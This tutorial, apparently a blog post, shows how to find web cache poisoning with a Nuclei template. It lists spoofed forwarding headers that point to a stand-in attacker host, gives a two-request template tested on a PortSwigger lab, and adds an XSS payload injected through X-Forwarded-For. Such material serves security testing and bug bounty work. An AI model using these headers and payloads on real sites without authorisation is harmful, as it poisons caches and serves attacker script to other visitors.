Cache Poisoning using Nuclei

Discovering cache poisoning vulnerabilities using nuclei.

HTTP Headers

In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.

To do this, we need to use common unkeyed inputs headers such as:

X-Forwarded-Prefix: cache.my_evil_dns.com
X-Forwarded-Host: cache.my_evil_dns.com
X-Forwarded-For: cache.my_evil_dns.com
X-Originating-IP: cache.my_evil_dns.com
X-Remote-IP: cache.my_evil_dns.com
X-Remote-Addr: cache.my_evil_dns.com
X-Client-IP: cache.my_evil_dns.com

In detail, to trigger cache poisoning vulnerabilities we need two requests:

• The first that causes the server to cache the poisoned response

• The second will retrieve the poisoned response from the server-side.

Building the Nuclei template

To carry out this scenario, we can build our nuclei template as presented below.

id: cache-poisoning    

info:
  name: HTTP Cache Poisoning
  author: sirpedrotavares / seguranca-informatica.pt
  severity: medium

requests:
  - raw:
      - |
        GET /?evil=007 HTTP/1.1
        X-Forwarded-Prefix: cache.my.evil.dns.com
        X-Forwarded-Host: cache.my.evil.dns.com
        X-Forwarded-For: cache.my.evil.dns.com
        X-Originating-IP: cache.my.evil.dns.com
        X-Remote-IP: cache.my.evil.dns.com
        X-Remote-Addr: cache.my.evil.dns.com
        X-Client-IP: cache.my.evil.dns.com

      - |
        GET /?evil=007 HTTP/1.1

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "cache.my.evil.dns.com") == true'

We can test this template using the PortSwigger Lab here.

.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml

And yeah, we got it 😎

Bug Bounty tip

You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use bbscope tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).

X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>

References

https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoningblog.melbadry9.xyz

https://galnagli.com/Cache_Poisoning/galnagli.com